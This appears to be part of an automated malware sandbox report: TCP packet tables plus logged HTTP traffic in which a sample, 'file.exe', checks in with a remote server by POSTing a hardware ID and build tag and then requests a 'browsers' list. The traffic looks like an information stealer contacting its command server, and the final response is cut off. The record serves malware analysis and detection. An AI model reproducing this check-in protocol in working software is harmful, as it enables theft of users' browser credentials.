Oct 13, 2024 06:54:18.387381077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387408972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387409925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387413979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387424946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387429953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387437105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387447119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387456894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387456894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387456894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387466908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387469053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387476921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387499094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387504101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387510061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387520075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387530088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387542963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387552977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387563944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387576103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387579918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387579918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387579918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387587070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387590885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387590885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387598038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.387631893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.387686014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.472574949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472593069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472610950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472650051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472655058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.472661972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472673893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472685099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.472686052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472698927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472733974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.472779989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.472785950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472862959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472875118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472886086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.472949982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.472949982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.472949982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.472949982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473018885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473040104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473052025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473062992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473073959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473084927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473098040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473107100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473109961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473123074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473134041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473221064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473232031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473249912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473259926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473264933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473264933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473265886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473265886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473265886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473273039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473287106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473294973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473294973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473299026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473310947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473321915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473323107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473335028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473346949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.473357916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473368883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473392010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.473423004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.520220041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.525051117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765002012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765055895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765065908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765141010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765158892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765167952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765167952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765171051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765189886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765203953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765214920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765230894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765238047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765238047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765238047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765244007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765256882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765261889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765269995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765317917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765327930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765347004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765348911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765358925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765374899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765374899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765374899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765377045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765389919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765402079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765410900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765420914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765420914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765420914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765439987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765482903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765494108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765506029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765506029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765506029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765506029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765517950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765528917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765542030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765552044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765563011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765564919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765564919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765573978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765592098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765642881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765855074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765909910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765917063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765921116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765991926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.765996933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.765996933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766004086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766016006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766032934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766043901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766060114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766062975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766062975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766076088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766086102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766102076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766144037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766144037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766269922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766381979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766395092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766412973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766413927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766426086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766433001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766433001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766442060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766453028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766463995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766464949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766474962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766485929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766496897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766500950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766504049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766510963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766524076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766541004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766549110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766558886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766581059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766586065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766586065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766592979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766604900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766613960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766624928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766640902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766640902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766640902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766640902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766654015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766664028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766674995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766685963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766685963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766689062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766705990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766716957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766722918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766727924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766738892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766753912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766774893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766786098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.766829967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766829967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766829967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766829967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.766829967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:19.406649113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:19.406800032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:19.411489010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:19.411540985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:20.287851095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:20.288115978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:20.678580999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:20.683525085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:20.899807930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:20.899842978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:20.899878979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:20.899940968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:20.899941921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:20.899941921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:20.902209997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:20.907018900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:21.123507023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:21.123558044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:21.136399031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:21.141566038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:21.855791092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:21.855865002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:21.857930899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:21.862755060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:22.093310118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:22.093384027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:22.093394995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:22.093399048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:22.093406916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:22.093417883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:22.093457937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:22.093457937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:22.093482971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:22.094794989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:22.099591970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:22.813442945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:22.813538074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:26.576608896 CEST	49730	80	192.168.2.4	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 06:54:23.135927916 CEST	53	64696	1.1.1.1	192.168.2.4

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7008	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 06:54:05.026978970 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 06:54:05.732024908 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:05.734668016 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 33 38 45 42 34 43 30 41 46 33 33 37 30 31 39 39 31 34 39 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="hwid"D338EB4C0AF33701991499------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build"doma------FCBAECGIEBKKFHIDAKEC--
Oct 13, 2024 06:54:05.972683907 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 57 49 79 4e 47 5a 69 4e 6d 4a 6b 4e 47 4e 6d 4f 57 4d 33 4d 7a 41 77 4e 54 51 33 4d 6d 52 6d 4d 7a 59 34 4e 6d 45 31 4e 47 52 6a 5a 47 45 33 4e 7a 68 6b 59 7a 5a 6d 59 6a 59 79 4e 57 51 31 4d 57 52 6c 4d 44 42 68 59 32 49 35 59 32 45 7a 59 54 67 31 5a 6a 64 68 5a 6d 49 35 4d 6a 67 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OWIyNGZiNmJkNGNmOWM3MzAwNTQ3MmRmMzY4NmE1NGRjZGE3NzhkYzZmYjYyNWQ1MWRlMDBhY2I5Y2EzYTg1ZjdhZmI5MjgxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 13, 2024 06:54:05.974700928 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="message"browsers------DHDAFBFCFHIDAKFIIEBA--
Oct 13, 2024 06:54:06.197102070 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: 